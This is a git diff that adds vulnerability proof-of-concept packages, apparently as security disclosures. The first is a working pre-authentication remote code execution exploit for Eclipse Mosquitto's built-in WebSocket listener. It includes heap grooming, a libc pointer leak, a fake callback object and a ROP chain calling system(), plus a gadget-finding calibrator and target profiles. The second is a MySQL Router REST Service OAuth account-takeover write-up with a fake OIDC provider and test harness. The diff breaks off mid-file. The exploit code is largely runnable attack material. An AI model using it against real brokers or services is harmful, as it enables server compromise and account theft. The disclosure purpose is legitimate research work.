args.broker, + [ + "sizeof(struct mosquitto)", + "&((struct mosquitto *)0)->sock", + "&((struct mosquitto *)0)->id", + "&((struct mosquitto *)0)->listener", + "&((struct mosquitto__listener *)0)->security_options", + "&((struct mosquitto__security_options *)0)->plugin_callbacks.disconnect", + "&((struct mosquitto__callback *)0)->next", + "&((struct mosquitto__callback *)0)->cb", + "&((struct mosquitto__callback *)0)->userdata", + ], + ) + ( + broker_size, + context_sock, + context_id, + context_listener, + listener_security, + security_disconnect, + callback_next, + callback_cb, + callback_userdata, + ) = broker_values + + old_broker_size = profile["broker_struct_size"] + if glibc_chunk_size(broker_size) != glibc_chunk_size(old_broker_size): + raise RuntimeError( + "broker struct changed glibc allocation class; the seed heap-grooming geometry must be " + "recalibrated with a local allocation trace" + ) + context_tail = profile["context_self_after_broker_size"] + profile.update( + { + "broker_struct_size": broker_size, + "context_self_body_offset": broker_size + context_tail, + "context_sock_offset": context_sock, + "context_id_offset": context_id, + "context_listener_offset": context_listener, + "listener_security_options_offset": listener_security, + "security_disconnect_offset": security_disconnect, + "callback_next_offset": callback_next, + "callback_cb_offset": callback_cb, + "callback_userdata_offset": callback_userdata, + } + ) + + main_arena, bins, system, process_exit = gdb_values( + args.gdb, + args.libc, + [ + "&main_arena", + "&((struct malloc_state *)0)->bins", + "(void *)system", + "(void *)_exit", + ], + ) + pivots = executable_pattern_offsets(args.libc, b"\x48\x89\xd4\xc3") + pop_rdis = executable_pattern_offsets(args.libc, b"\x5f\xc3") + if not pivots: + raise RuntimeError("libc contains no executable 'mov rsp, rdx; ret' gadget") + if not pop_rdis: + raise RuntimeError("libc contains no executable 'pop rdi; ret' gadget") + + profile.update( + { + "main_arena_unsorted_offset": main_arena + bins - 0x10, + "pivot_offset": pivots[0], + "pop_rdi_offset": pop_rdis[0], + "system_offset": system, + "exit_offset": process_exit, + } + ) + return profile + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Derive a localhost-only Mosquitto exploit profile from local debug binaries" + ) + parser.add_argument("--broker", type=Path, required=True, help="local Mosquitto ELF with DWARF") + parser.add_argument("--libc", type=Path, required=True, help="matching local glibc ELF/debug symbols") + parser.add_argument("--output", type=Path, required=True, help="profile JSON to create") + parser.add_argument( + "--seed-profile", + type=Path, + help="known profile supplying target-specific heap-grooming geometry", + ) + parser.add_argument("--name", help="profile name") + parser.add_argument("--target", help="human-readable target constraint") + parser.add_argument("--gdb", default="gdb", help="gdb executable") + args = parser.parse_args() + + for path in (args.broker, args.libc): + if not path.is_file(): + parser.error(f"local file not found: {path}") + if args.output.exists(): + parser.error(f"refusing to overwrite existing profile: {args.output}") + + profile = calibrate(args) + args.output.write_text(json.dumps(hex_profile(profile), indent=2, sort_keys=True) + "\n", encoding="utf-8") + print( + json.dumps( + { + "result": "profile_created", + "output": str(args.output), + "profile": profile["name"], + "derived_locally": [ + "Mosquitto structure offsets", + "glibc main_arena unsorted-bin offset", + "libc function offsets", + "required executable ROP gadgets", + ], + "inherited_from_seed": [ + "connection and packet allocation order", + "initial empty-frame count", + "PONG/fence relative heap geometry", + "fake-object scratch placement", + ], + } + ) + ) + + +if __name__ == "__main__": + main() diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json new file mode 100644 index 0000000..59dd617 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json @@ -0,0 +1,29 @@ +{ + "name": "v2.1.0-v2.1.2-ubuntu-24.04-glibc-2.39", + "target": "Eclipse Mosquitto release tags v2.1.0 through v2.1.2, local RelWithDebInfo builds", + "initial_empty_frames": 12475, + "main_arena_unsorted_offset": "0x203b20", + "pivot_offset": "0x5ef6f", + "pop_rdi_offset": "0x10c08d", + "system_offset": "0x58750", + "exit_offset": "0xee300", + "broker_struct_size": "0x370", + "context_self_after_broker_size": "0x524", + "context_self_body_offset": "0x894", + "context_sock_offset": "0x4", + "fence_from_pong": "0x5d0", + "unsorted_from_pong": "0xc0", + "fake_listener_from_unsorted": "0x20", + "fake_security_from_unsorted": "0x100", + "fake_callback_from_unsorted": "0x220", + "rop_stack_from_unsorted": "0x300", + "command_from_unsorted": "0x350", + "write_start_from_pong": "0x10", + "listener_security_options_offset": "0xc8", + "security_disconnect_offset": "0xd0", + "callback_next_offset": "0x38", + "callback_cb_offset": "0x48", + "callback_userdata_offset": "0x50", + "context_id_offset": "0x60", + "context_listener_offset": "0x258" +} diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json new file mode 100644 index 0000000..0b7ce73 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-affected-range.json @@ -0,0 +1,107 @@ +{ + "captured_utc": "2026-08-13T16:43:00Z", + "project": "Eclipse Mosquitto", + "finding": "Built-in WebSocket empty-frame byte-count violation to pre-authentication heap out-of-bounds write and target-specific RCE", + "root_cause_history": { + "introduction_commit": "799cdead151a9fd8f1961597b1bcbeb21e951f86", + "introduction_date": "2021-09-09T23:55:33+01:00", + "introduction_subject": "Experimental custom websockets support.", + "attribution": "git blame at v2.1.0 attributes the zero-payload allocation/return/reset logic in lib/net_ws.c:276-345 to the introduction commit, apart from later allocation-wrapper and count-clamp edits that do not correct the byte-count contract violation.", + "first_tag_containing_root_cause": "2.1.0-test1", + "tags_containing_root_cause": [ + "2.1.0-test1", + "2.1.0rc1", + "v2.1.0rc2", + "v2.1.0rc3", + "v2.1.0", + "v2.1.1", + "v2.1.2" + ], + "pre_release_delta": "2.1.0-test1 to v2.1.0 changes only explicit casts in two decrement expressions in lib/net_ws.c; it does not change the vulnerable zero-payload return path." + }, + "stable_release_runtime_results": [ + { + "tag": "v2.1.0", + "commit": "fc415c00b8cc10724ad4cdcaef299324052b2751", + "clean_binary": "/mnt/c/tmp/mosquitto-v210-clean-build/src/mosquitto", + "clean_binary_sha256": "5ac305e18296c31b60376026e4c2329612e7eb305dd3162ba60ec44165f17e87", + "asan_result": "heap-buffer-overflow WRITE of size 32 in net__read_ws lib/net_ws.c:305, reached through packet__read_single lib/packet_mosq.c:588; process aborted with exit 134", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "d3543b8644432baf7570eac431b510c5a6f489b2cb3aab54b032eac7042a60c8", + "clean_rce_broker_exit_code": 0 + }, + { + "tag": "v2.1.1", + "commit": "f58cecd04ce4102b82094c53767bdb25a2bee31b", + "clean_binary": "/mnt/c/tmp/mosquitto-v211-clean-build/src/mosquitto", + "clean_binary_sha256": "21dd6f07dc410a6184e3d6a36c1c0b7b3a93b02406e04c2348327f5fab450942", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "7308ebb4ce591431715728da0b2d0a73e37a63d8c9d2f1d59fc159988db56cac", + "clean_rce_broker_exit_code": 0 + }, + { + "tag": "v2.1.2", + "commit": "99fa50f30e325609394c324c8ff71cfbbe95d8ab", + "clean_binary": "/mnt/c/tmp/mosquitto-v212-clean-build/src/mosquitto", + "clean_binary_sha256": "51bc1f4be8dc02e391d65931873d813701e95c1da672f2b941dfd5fab605866e", + "asan_result": "heap-buffer-overflow WRITE of size 32 in net__read_ws lib/net_ws.c:305, reached through packet__read_single lib/packet_mosq.c:588; process aborted with exit 134", + "clean_rce_result": "remote_code_execution_confirmed", + "clean_rce_response_sha256": "e2f3d77e62a2e6e563cbe327ae1adaa8fe5ae38b52cdca37da347881666676c8", + "clean_rce_broker_exit_code": 0 + } + ], + "development_status": { + "tested_commit": "5cd2546511596a269dbf53f85858c623b09ebdd6", + "tested_clean_rce_result": "remote_code_execution_confirmed", + "latest_test_response_sha256": "7f0cfa3b12cba3b9a4ec5ef9ae17e705a4a873aebaddde20fe80b6a9172c8aae", + "latest_test_broker_exit_code": 0, + "fetched_refs": { + "origin/master": "5cd2546511596a269dbf53f85858c623b09ebdd6", + "origin/develop": "3bddd1affe63b501de83c6e8e5ffbf23912cd29d", + "origin/release/2.1": "7ecbb8025860542d7236b3eceb96a6b84e9bba2c" + }, + "source_comparison": "lib/net_ws.c has no diff from v2.1.0 to any of the three fetched refs; no fix is present in those refs as captured. Only origin/master was exercised end to end in a clean process." + }, + "negative_boundary": { + "tag": "v2.0.22", + "commit": "766fa2c5a9bed6c65249cf555f430b982c417480", + "result": "not affected by this specific built-in-parser flaw", + "basis": "lib/net_ws.c and the built-in WebSocket backend do not exist at this tag; the separate libwebsockets backend is outside this root cause." + }, + "affected_range_conclusion": { + "stable_releases_confirmed": "v2.1.0 through v2.1.2 inclusive", + "pre_releases_source_affected": "2.1.0-test1, 2.1.0rc1, v2.1.0rc2, and v2.1.0rc3", + "current_unreleased_refs": "still source-affected at the fetched 2026-08-13 refs; origin/master is runtime-confirmed", + "fixed_upper_bound": null, + "scope": "Only builds using the built-in WebSocket backend with a reachable protocol websockets listener. Builds without WebSockets and builds using the separate libwebsockets backend do not execute this parser." + }, + "portable_reproducer": { + "universal_remote_exploit": false, + "profiled_local_reproducer": true, + "shared_release_profile": "mosquitto-profile-v2.1.0-v2.1.2-ubuntu2404.json", + "profile_result": "One release profile completed marker-only RCE against clean v2.1.0, v2.1.1, and v2.1.2 processes on Ubuntu 24.04 x86-64 glibc 2.39 with identical build options.", + "local_calibrator": "calibrate-builtin-websocket-profile.py", + "calibrator_derives": [ + "Mosquitto structure and callback offsets from broker DWARF", + "glibc main_arena unsorted-bin offset from local debug types", + "system and _exit offsets", + "executable mov rsp,rdx;ret and pop rdi;ret gadgets" + ], + "calibrator_inherits_from_seed": [ + "fresh-process allocation order", + "12,475-frame overwrite distance", + "PONG/fence relative heap geometry", + "fake-object scratch placement" + ], + "calibrator_safety": "Reads local broker/libc files only, requires local debug information, never connects to a target, and refuses a broker structure change that crosses the seed glibc allocation class.", + "generated_profile_smoke_result": "A profile generated locally for the v2.1.2 binary completed marker-only RCE in a fresh localhost process and exited 0.", + "non_portable_constraints": [ + "allocator and heap state", + "libc image and available gadgets", + "Mosquitto structure ABI", + "compiler and linker hardening including CET/shadow stack", + "architecture and pointer representation", + "listener startup allocations and loaded plugins" + ] + } +} diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf new file mode 100644 index 0000000..cbe4fc3 --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/mosquitto-websocket-rce-final.conf @@ -0,0 +1,5 @@ +listener 18910 127.0.0.1 +protocol websockets +allow_anonymous true +persistence false +log_type error diff --git a/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py b/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py new file mode 100644 index 0000000..e5d954a --- /dev/null +++ b/mosquitto-builtin-websocket-preauth-rce-poc/repro-builtin-websocket-rce.py @@ -0,0 +1,325 @@ +import argparse +import base64 +import hashlib +import json +import os +import secrets +import socket +import struct +import time +from pathlib import Path + +HOST = "127.0.0.1" +DEFAULT_PORT = 18910 +INITIAL_EMPTY_FRAMES = 12_475 +LEAKED_MAIN_ARENA_OFFSET = 0x203B20 +PIVOT_OFFSET = 0x5EF6F # mov rsp, rdx; ret +POP_RDI_OFFSET = 0x10C08D # pop rdi; ret +SYSTEM_OFFSET = 0x58750 +EXIT_OFFSET = 0xEE300 +MARKER = Path(__file__).with_name("mosquitto-rce-clean-proof.txt") +MARKER_TARGET = "/tmp/mosquitto-rce-clean-proof.txt" +LEAK_CAPTURE = Path(__file__).with_name("builtin-websocket-rce-leak.bin") + +DEFAULT_PROFILE = { + "name": "master-5cd25465-ubuntu-24.04-glibc-2.39", + "target": "Mosquitto development commit 5cd2546511596a269dbf53f85858c623b09ebdd6", + "initial_empty_frames": INITIAL_EMPTY_FRAMES, + "main_arena_unsorted_offset": LEAKED_MAIN_ARENA_OFFSET, + "pivot_offset": PIVOT_OFFSET, + "pop_rdi_offset": POP_RDI_OFFSET, + "system_offset": SYSTEM_OFFSET, + "exit_offset": EXIT_OFFSET, + "broker_struct_size": 0x378, + "context_self_after_broker_size": 0x524, + "context_self_body_offset": 0x89C, + "context_sock_offset": 4, + "fence_from_pong": 0x5D0, + "unsorted_from_pong": 0xC0, + "fake_listener_from_unsorted": 0x20, + "fake_security_from_unsorted": 0x100, + "fake_callback_from_unsorted": 0x220, + "rop_stack_from_unsorted": 0x300, + "command_from_unsorted": 0x350, + "write_start_from_pong": 0x10, + "listener_security_options_offset": 0xC8, + "security_disconnect_offset": 0xD0, + "callback_next_offset": 0x38, + "callback_cb_offset": 0x48, + "callback_userdata_offset": 0x50, + "context_id_offset": 0x60, + "context_listener_offset": 0x260, +} + + +def load_profile(path: Path | None) -> dict[str, int | str]: + profile = DEFAULT_PROFILE.copy() + if path is None: + return profile + + supplied = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(supplied, dict): + raise ValueError("profile must be a JSON object") + unknown = set(supplied) - set(DEFAULT_PROFILE) + if unknown: + raise ValueError(f"unknown profile fields: {', '.join(sorted(unknown))}") + profile.update(supplied) + for key, value in profile.items(): + if key in {"name", "target"}: + if not isinstance(value, str) or not value: + raise ValueError(f"profile field {key} must be a nonempty string") + elif isinstance(value, str): + profile[key] = int(value, 0) + elif not isinstance(value, int): + raise ValueError(f"profile field {key} must be an integer or integer string") + + if profile["callback_cb_offset"] != profile["callback_next_offset"] + 0x10: + raise ValueError("profile callback cb/next offsets are not contiguous") + if profile["callback_userdata_offset"] != profile["callback_cb_offset"] + 8: + raise ValueError("profile callback userdata/cb offsets are not contiguous") + return profile + + +def recv_headers(sock: socket.socket) -> bytes: + response = bytearray() + while b"\r\n\r\n" not in response: + chunk = sock.recv(4096) + if not chunk: + raise RuntimeError("connection closed during WebSocket upgrade") + response.extend(chunk) + if not response.startswith(b"HTTP/1.1 101 "): + raise RuntimeError(f"WebSocket upgrade failed: {response[:80]!r}") + return bytes(response) + + +def websocket_upgrade(port: int) -> socket.socket: + sock = socket.create_connection((HOST, port), timeout=5) + sock.settimeout(5) + key = base64.b64encode(os.urandom(16)).decode("ascii") + request = ( + f"GET /mqtt HTTP/1.1\r\n" + f"Host: {HOST}:{port}\r\n" + "Upgrade: websocket\r\n" + "Connection: Upgrade\r\n" + f"Sec-WebSocket-Key: {key}\r\n" + "Sec-WebSocket-Version: 13\r\n" + "Sec-WebSocket-Protocol: mqtt\r\n\r\n" + ).encode("ascii") + sock.sendall(request) + recv_headers(sock) + return sock + + +def masked_binary(payload: bytes) -> bytes: + length = len(payload) + if length < 126: + header = bytes((0x82, 0x80 | length)) + elif length < 65_536: + header = bytes((0x82, 0xFE)) + length.to_bytes(2, "big") + else: + header = bytes((0x82, 0xFF)) + length.to_bytes(8, "big") + return header + b"\x00\x00\x00\x00" + payload + + +def pointer_candidates(body: bytes, main_arena_offset: int) -> list[tuple[int, int]]: + candidates = [] + for offset in range(len(body) - 7): + value = int.from_bytes(body[offset : offset + 8], "little") + if 0x700000000000 <= value <= 0x7FFFFFFFFFFF: + if (value - main_arena_offset) & 0xFFF == 0: + candidates.append((offset, value)) + return candidates + + +def exploit(port: int, profile: dict[str, int | str]) -> dict[str, object]: + sockets: list[socket.socket] = [] + token = f"MOSQUITTO_RCE_CLEAN_{secrets.token_hex(8)}" + try: + helpers = [websocket_upgrade(port) for _ in range(10)] + sockets.extend(helpers) + + partial_ping_125 = bytes.fromhex("89fd00000000") + for helper in helpers[:8]: + helper.sendall(partial_ping_125) + time.sleep(0.08) + + victim = websocket_upgrade(port) + sockets.append(victim) + victim.sendall(masked_binary(bytes.fromhex("1001"))) + time.sleep(0.04) + + leak_target = helpers[8] + leak_target.sendall(partial_ping_125) + time.sleep(0.04) + + unsorted_helper = helpers[9] + unsorted_helper.sendall(masked_binary(bytes.fromhex("10800a"))) + time.sleep(0.08) + + fence = websocket_upgrade(port) + sockets.append(fence) + time.sleep(0.05) + unsorted_helper.close() + time.sleep(0.10) + + empty_frame = bytes.fromhex("828000000000") + victim.sendall(empty_frame * profile["initial_empty_frames"]) + time.sleep(1.00) + victim.sendall(masked_binary(struct.pack(" None: + delta = address - current[0] + if delta < 0 or delta % 4 or len(data) % 4: + raise RuntimeError( + f"unaligned forward write: current={current[0]:#x}, target={address:#x}, length={len(data)}" + ) + if delta: + victim.sendall(empty_frame * (delta // 4)) + victim.sendall(masked_binary(data)) + current[0] = address + len(data) + time.sleep(0.015) + + pack = lambda value: struct.pack("{MARKER_TARGET}".encode("ascii") + b"\x00" + command += b"\x00" * (-len(command) % 4) + write_forward(command_address, command) + write_forward(fence_context + profile["context_id_offset"], pack(command_address)) + write_forward(fence_context + profile["context_listener_offset"], pack(fake_listener)) + time.sleep(0.30) + + fence.shutdown(socket.SHUT_RDWR) + fence.close() + + deadline = time.time() + 5 + proof = None + while time.time() < deadline: + try: + proof = MARKER.read_text(encoding="ascii").strip() + except (FileNotFoundError, OSError): + pass + if proof == token: + break + time.sleep(0.05) + if proof != token: + raise RuntimeError("callback ROP executed no observable marker command") + + return { + "result": "remote_code_execution_confirmed", + "target": f"{HOST}:{port}", + "profile": profile["name"], + "profile_target": profile["target"], + "websocket_response_length": len(leak), + "websocket_response_sha256": hashlib.sha256(leak).hexdigest(), + "websocket_response_capture": str(LEAK_CAPTURE), + "main_arena_leak_offset": hex(leak_offset), + "main_arena_pointer": hex(main_arena_pointer), + "context_self_pointer": hex(context_self_pointer), + "pong_object": hex(pong_object), + "unsorted_chunk": hex(unsorted_chunk), + "fence_context": hex(fence_context), + "libc_base": hex(libc_base), + "stack_pivot": hex(pivot), + "system": hex(system), + "marker": str(MARKER), + "marker_value": proof, + "initial_empty_frames": profile["initial_empty_frames"], + "constraints": [ + "localhost-only reproducer", + profile["target"], + "built-in WebSocket backend", + "profile-matched Mosquitto ABI, libc, and allocator geometry", + "deterministic fresh-process allocator layout", + ], + } + finally: + for sock in sockets: + try: + sock.close() + except OSError: + pass + + +def main() -> None: + parser = argparse.ArgumentParser(description="Local Mosquitto built-in-WebSocket RCE reproducer") + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument("--profile", type=Path, help="local target profile JSON") + parser.add_argument( + "--dump-default-profile", + action="store_true", + help="print the built-in development profile without connecting", + ) + args = parser.parse_args() + profile = load_profile(args.profile) + if args.dump_default_profile: + print(json.dumps(profile, indent=2, sort_keys=True)) + return + result = exploit(args.port, profile) + print(json.dumps(result, indent=2, sort_keys=True)) + + +if __name__ == "__main__": + main() diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/README.md b/mysql-router-mrs-oauth-cached-name-ato-poc/README.md new file mode 100644 index 0000000..fd6ee80 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/README.md @@ -0,0 +1,170 @@ +# MySQL Router MRS OAuth Cached Display-Name Account Takeover PoC + +This entry documents and exercises an account-takeover vulnerability in MySQL Router's MySQL REST Service (MRS) OAuth user cache. An attacker who can set their OAuth display name to match a cached victim's name inherits the victim's internal user ID, privileges, groups, and session state. The metadata row is then permanently rebound to the attacker. + +## Target + +| Field | Value | +| --- | --- | +| Product | MySQL Router 9.7.1, MySQL REST Service | +| Tested revision | `06a5c1c99c377fc41b2eba1ea244e8b220bdc3c8` (trunk) | +| Runtime verified | MySQL Router 9.7.1 generic Linux + MySQL Community Server 9.7.2 (`mysql:9.7`) | +| Component path | OAuth2/OIDC authentication, `UserManager::cache_get()`, `UserManager::user_get()` | +| Configuration | `limit_to_registered_users=true` (default), no special flags | +| End-to-end verification | Passed from a clean isolated deployment on 2026-08-09 | + +## Root Cause + +`UserManager::cache_get()` first attempts an exact cache lookup by `vendor_user_id`. When that misses (new attacker subject), it scans every cached user and treats either an email match or a display-name match as an identity hit. Google, Facebook, and generic OIDC handlers all copy the provider's `name` field into this comparison. Display names are mutable and non-unique on every major provider. + +When the attacker-supplied name matches a cached victim, `result` points at the victim entry even though the email and subject differ. The `is_different` flag is set, which feeds into `user_get()` as `needs_update`. That path copies the victim's privileges, groups, login status, and options into the attacker's profile, assigns the victim's internal `user_id` to the attacker, and calls `query_update_user()` to replace the victim row's `vendor_user_id` and email with the attacker's values. This all happens before the `limit_to_registered_users` check, which only fires when both cache and database lookup fail. + +## Source Trace + +| File | Behavior | +| --- | --- | +| `router/src/mysql_rest_service/src/mrs/users/user_manager.cc:65-100` | `cache_get()`: after exact subject miss, linear scan treats name match as identity match | +| `router/src/mysql_rest_service/src/mrs/users/user_manager.cc:122-205` | `user_get()`: copies victim privileges and calls `query_update_user()` with attacker identity | +| `router/src/mysql_rest_service/include/mrs/database/entry/auth_user.h:49-102` | `UserIndex::operator==` compares only `user_id` or `vendor_user_id`, no `app_id` | +| `router/src/mysql_rest_service/src/mrs/database/query_entry_auth_user.cc:156-170` | `query_update_user()` overwrites `vendor_user_id`, `email`, `name` on the victim row | +| `router/src/mysql_rest_service/src/mrs/authentication/oauth2_handler.cc:325-341` | `http_verify_account()` passes provider profile into `user_get()` | +| `router/src/harness/include/mysql/harness/utility/cache.h:38-110` | `FixedLruCache` with 100-entry capacity, no TTL | + +The vulnerable code path in `cache_get()`: + +```cpp +for (auto &kv : container) { + auto &value = kv.second; + bool is_different = false; + if (!out_user->email.empty()) { + if (out_user->email == value.email) + result = &value; + else + is_different = true; + } + if (!out_user->name.empty()) { + if (out_user->name == value.name) + result = &value; // name match overrides email mismatch + else + is_different = true; + } + if (result && out_is_different) { + *out_is_different = is_different; + break; + } +} +``` + +## Impact + +The attacker receives the cached victim's internal MRS user ID, CRUD privileges, groups, and authorization state. They can perform every MRS operation available to that victim against the REST-exposed database objects. The metadata update replaces the victim row's `vendor_user_id` and email with attacker-controlled values, so the takeover survives Router restarts. The victim is locked out until the row is manually rebound. + +This is an MRS account-takeover and database authorization bypass. Confidentiality and integrity impact depend on the victim's MRS roles and the objects exposed by the service; a privileged service user has full CRUD access. Scored CVSS 3.1 9.1 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`). Oracle may instead score `AC:H` for cache residency, giving 7.4 High. + +CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-287 (Improper Authentication), CWE-862 (Missing Authorization). + +## Cache Residency + +Each OAuth handler owns a `FixedLruCache`. No TTL. A victim remains cached until the handler is destroyed, the user is explicitly invalidated, or 100 distinct later insertions evict it by LRU. Exact cache hits refresh the victim's position, so an active victim stays resident indefinitely. + +The focused C++ harness confirms: + +```text +cache_capacity=100 +victim_present_after_99_distinct_users=yes +victim_present_after_100_distinct_users=no +``` + +## Real-Provider Applicability + +MRS maps `name` from Google, Facebook, and generic OIDC user-info responses. Google documents that `name` is a displayable full name with no uniqueness guarantee, and users can change it freely. Facebook's `name` is a default public-profile field, also changeable. OpenID Connect Core section 5.7 states that only `iss`+`sub` is guaranteed unique and stable. + +The end-to-end PoC uses a local fake OIDC provider. No live Google or Facebook login was performed. + +## Attack Prerequisites + +- MRS exposes an OAuth2/OIDC authentication application +- The victim has authenticated since the handler cache was created (victim is cached) +- The attacker can authenticate to the same external provider and set their display name to match the victim's MRS display name +- The victim's display name is known or guessable + +No MySQL credential, victim provider subject, victim email, or victim interaction required. + +## PoC Design + +Two reproducers are included: + +**End-to-end (`poc/mrs_oauth_cached_name_collision_e2e.sh`):** Fully isolated. Starts a `mysql:9.7` container, deploys MRS metadata with MySQL Shell, bootstraps Router, starts a local fake OIDC provider, and drives the full attack: + +1. Authenticates the victim to populate the production handler cache +2. Verifies an unrelated, unregistered, non-colliding control identity fails (`limit_to_registered_users=true`) +3. Authenticates the unregistered attacker with the colliding display name +4. Verifies `/lab/authentication/user` reports the victim's internal ID and `Secret Operator` role but the attacker's email +5. Reads and updates the protected REST endpoint through the stolen role +6. Restarts Router, clears the cache, then verifies the attacker still authenticates as the privileged record +7. Queries MySQL directly to confirm the victim row now contains the attacker's provider subject and email + +**Focused source harness (`poc/mrs_oauth_cached_name_collision.cc`):** Compiles against the production `UserManager` and `FixedLruCache` code. Directly exercises the cache collision and verifies privilege inheritance and LRU eviction boundaries. + +## Requirements + +End-to-end script: +- WSL or Linux x86-64 +- Docker with `mysql:9.7` image +- MySQL Router 9.7.1 generic Linux archive +- MySQL Shell 9.7.1 generic Linux archive +- Python 3 + +Paths default to `/mnt/c/tmp/mysql-router-9.7.1-linux-glibc2.28-x86_64` and `/mnt/c/tmp/mysql-shell-9.7.1-linux-glibc2.28-x86-64bit`; override with `ROUTER_HOME` and `SHELL_HOME`. + +## Quick Run + +```bash +# End-to-end +bash poc/mrs_oauth_cached_name_collision_e2e.sh + +# Source harness only (from WSL, needs the mysql-server source tree at ../mysql-server) +bash poc/mrs_oauth_cached_name_collision.sh +``` + +End-to-end output: + +```text +--- nonregistered control --- +login=fail +--- attacker session identity --- +{"name":"Privileged User","id":"11f1940e8adc184d9c6b32b13499783f", + "email":"attacker@example.invalid", + "roles":[{"caption":"Authenticated User"},{"caption":"Secret Operator"}]} +--- attacker protected update --- +{"id":1,"marker":"attacker-updated-through-stolen-role",...} +--- persistent database state --- +["11F1940E8ADC184D9C6B32B13499783F", + "attacker-provider-subject","Privileged User", + "attacker@example.invalid",1] +[1,"attacker-updated-through-stolen-role"] +post-restart protected read HTTP 200 +``` + +## Files + +| Path | Purpose | +| --- | --- | +| [`poc/mrs_oauth_cached_name_collision_e2e.sh`](poc/mrs_oauth_cached_name_collision_e2e.sh) | Self-contained end-to-end reproduction (Docker + Router + Shell) | +| [`poc/mrs_oauth_e2e_setup.py`](poc/mrs_oauth_e2e_setup.py) | MySQL Shell script: MRS metadata, auth app, roles, protected view, registered victim | +| [`poc/mrs_fake_oidc_provider.py`](poc/mrs_fake_oidc_provider.py) | Local fake OIDC provider serving three identities | +| [`poc/mrs_oauth_e2e_verify.py`](poc/mrs_oauth_e2e_verify.py) | MySQL Shell script: dumps mrs_user and secrets rows for post-attack verification | +| [`poc/mrs_oauth_cached_name_collision.cc`](poc/mrs_oauth_cached_name_collision.cc) | Focused C++ harness exercising production UserManager cache directly | +| [`poc/mrs_oauth_cached_name_collision.sh`](poc/mrs_oauth_cached_name_collision.sh) | Build and run wrapper for the C++ harness | + +## Fix Direction + +- Use `(auth_app_id, vendor_user_id)` as the sole provider identity key +- Include `app_id` in `AuthUser::UserIndex` comparisons +- Remove display-name fallback matching entirely +- Never rebind `vendor_user_id` or `auth_app_id` from a mutable profile-field match +- If email linking is needed, require a provider-verified email signal and an explicit safe linking flow + +## Responsible Use + +Only use this against systems you own or have explicit permission to test. diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py new file mode 100644 index 0000000..2ef7b09 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +"""Minimal local OIDC provider for the isolated MRS account-takeover PoC.""" + +import json +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +from urllib.parse import parse_qs, urlparse + +IDENTITIES = { + "victim": { + "sub": "victim-provider-subject", + "name": "Privileged User", + "email": "victim@example.invalid", + }, + "attacker": { + "sub": "attacker-provider-subject", + "name": "Privileged User", + "email": "attacker@example.invalid", + }, + "control": { + "sub": "control-provider-subject", + "name": "Unprivileged User", + "email": "control@example.invalid", + }, +} + + +class Handler(BaseHTTPRequestHandler): + def log_message(self, fmt, *args): + print(fmt % args, flush=True) + + def send_json(self, value, status=200): + body = json.dumps(value).encode() + self.send_response(status) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def read_body(self): + if self.headers.get("Transfer-Encoding", "").lower() != "chunked": + length = int(self.headers.get("Content-Length", "0")) + return self.rfile.read(length) + + chunks = [] + while True: + size = int(self.rfile.readline().strip(), 16) + if size == 0: + self.rfile.readline() + return b"".join(chunks) + chunks.append(self.rfile.read(size)) + self.rfile.read(2) + + def do_POST(self): + if urlparse(self.path).path != "/oauth2/v1/token": + self.send_json({"error": "not_found"}, 404) + return + + fields = parse_qs(self.read_body().decode()) + code = fields.get("code", [""])[0] + if code not in IDENTITIES: + self.send_json({"error": "invalid_grant"}, 400) + return + self.send_json({"access_token": code, "expires_in": 3600}) + + def do_GET(self): + if urlparse(self.path).path != "/oauth2/v1/userinfo": + self.send_json({"error": "not_found"}, 404) + return + + token = self.headers.get("Authorization", "").removeprefix("Bearer ") + identity = IDENTITIES.get(token) + if identity is None: + self.send_json({"error": "invalid_token"}, 401) + return + self.send_json(identity) + + +print("fake OIDC listening on 127.0.0.1:18080", flush=True) +ThreadingHTTPServer(("127.0.0.1", 18080), Handler).serve_forever() diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc new file mode 100644 index 0000000..f42030a --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc @@ -0,0 +1,91 @@ +// Focused source-level reproducer for MRS UserManager::cache_get(). +// It uses the production UserManager and cache implementation directly. + +#include + +#include "mrs/database/entry/auth_user.h" +#include "mrs/database/query_entry_auth_user.h" +#include "mrs/interface/authorize_handler.h" +#include "mrs/interface/query_factory.h" +#include "mysql/harness/utility/cache.h" + +#define private public +#include "mrs/users/user_manager.h" +#undef private + +#include +#include + +namespace 